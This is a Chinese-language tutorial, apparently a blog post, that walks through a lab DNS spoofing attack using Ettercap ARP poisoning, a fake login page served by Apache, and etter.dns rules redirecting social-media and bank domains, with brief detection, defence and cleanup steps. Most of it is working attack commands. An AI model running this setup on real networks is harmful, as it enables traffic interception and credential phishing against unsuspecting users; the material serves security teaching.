DNS欺骗攻击演示(仅供合法授权测试)
·
环境准备与免责声明
重要警告:
-
仅用于渗透测试演示
-
必须在您完全拥有控制权的隔离实验室环境中操作
-
建议使用虚拟机环境(Kali Linux攻击机 + Windows/Linux目标机)
-
在未授权的网络上进行此操作是非法的
演示环境配
攻击机:Kali Linux (IP: 192.168.1.100) 目标机:Windows 10 (IP: 192.168.1.50) 网关:192.168.1.1 网络:隔离的虚拟局域网
步骤1:准备攻击环境
# 1.1 更新系统并安装必要工具
sudo apt update
sudo apt install -y apache2 ettercap-graphical dsniff
# 1.2 启动Apache服务器,创建钓鱼页面
sudo systemctl start apache2
sudo systemctl enable apache2
# 1.3 创建简单的钓鱼页面
echo "<html><body><h1>Important: Please Login</h1><form>Username: <input type='text'><br>Password: <input type='password'><br><input type='submit' value='Login'></form><p>This is a simulated phishing page for educational purposes.</p></body></html>" | sudo tee /var/www/html/index.html
# 1.4 查看本机IP地址(用于DNS欺骗重定向)
ip addr show | grep inet
# 假设Kali IP为:192.168.1.100
步骤2:配置DNS欺骗
# 2.1 备份原始etter.dns配置文件
sudo cp /etc/ettercap/etter.dns /etc/ettercap/etter.dns.bak
# 2.2 编辑DNS欺骗规则文件
sudo nano /etc/ettercap/etter.dns
# 添加以下内容(将目标域名指向您的Kali IP):
*.facebook.com A 192.168.1.100
*.twitter.com A 192.168.1.100
*.linkedin.com A 192.168.1.100
*.examplebank.com A 192.168.1.100
# 星号(*)表示所有子域名都重定向
# 保存并退出 (Ctrl+X, Y, Enter)
步骤3:启用IP转发功能
# 3.1 启用IP转发,使Kali能够转发流量(作为中间人)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
# 3.2 添加iptables规则,将HTTP流量重定向到Apache
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80
步骤4:使用Ettercap进行ARP欺骗和DNS欺骗
# 4.1 启动Ettercap图形界面
sudo ettercap -G
在Ettercap图形界面中操作:

- 选择网卡:
Sniff -> Unified Sniffing -> 选择您的网络接口 (如eth0)
- 扫描网络主机:
Hosts -> Scan for hosts 等待扫描完成
-
查看主机列表:
Hosts -> Hosts list
您会看到类似列表:
192.168.1.1 [网关]
192.168.1.50 [目标机]
192.168.1.100 [您的Kali]
-
设置目标:
将网关 (192.168.1.1) 添加到 Target 1
将目标机 (192.168.1.50) 添加到 Target 2
- 开始ARP欺骗:
Mitm -> ARP poisoning ✔️ 勾选 "Sniff remote connections" 点击 OK
- 启用DNS欺骗插件:
Plugins -> Manage plugins 双击 "dns_spoof" 以启用
- 开始攻击:
Start -> Start sniffing
步骤5:验证攻击效果
CMD
# 5.1 清除DNS缓存 ipconfig /flushdns # 5.2 测试DNS解析 nslookup facebook.com # 正常情况下应返回 Facebook 的真实IP # 攻击后应返回 192.168.1.100 (您的Kali IP) # 5.3 尝试访问被欺骗的网站 # 打开浏览器访问:http://facebook.com # 应该会看到您在Kali上创建的钓鱼页面
步骤6:监控攻击流量
在攻击机(Kali)上查看攻击效果:
# 6.1 查看Apache访问日志(实时监控)
sudo tail -f /var/log/apache2/access.log
# 6.2 查看DNS查询记录
sudo ettercap -Tq -i eth0
# 按 'h' 查看帮助,'d' 显示DNS欺骗活动
# 6.3 使用tcpdump监控DNS流量
sudo tcpdump -i eth0 port 53 -v
步骤7:防御检测演示
在目标机上检测攻击:
CMD
# 7.1 检查ARP表,发现异常 arp -a # 注意:网关的MAC地址应该与Kali的MAC地址相同,这是ARP欺骗的证据 # 7.2 使用静态ARP条目防御 arp -s 192.168.1.1 [真实的网关MAC地址] # 7.3 使用安全DNS(DNS over HTTPS) # 在浏览器中启用DoH,如使用Cloudflare: https://1.1.1.1/dns/
步骤8:清理和恢复
# 8.1 停止Ettercap攻击
# 在Ettercap界面:Stop -> Stop sniffing
# 或按 Ctrl+C 退出
# 8.2 停止Apache服务
sudo systemctl stop apache2
# 8.3 恢复IP转发设置
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
# 8.4 清除iptables规则
sudo iptables -t nat -F
# 8.5 恢复原始etter.dns配置
sudo cp /etc/ettercap/etter.dns.bak /etc/ettercap/etter.dns
# 8.6 在目标机上恢复ARP表
arp -d *
希望本次演示不仅为您揭示了网络威胁的一面,更启发了您对安全架构设计的思考。真正的网络安全,始于对攻击的深刻理解,最终落于对信任体系的坚实捍卫。
更多推荐

所有评论(0)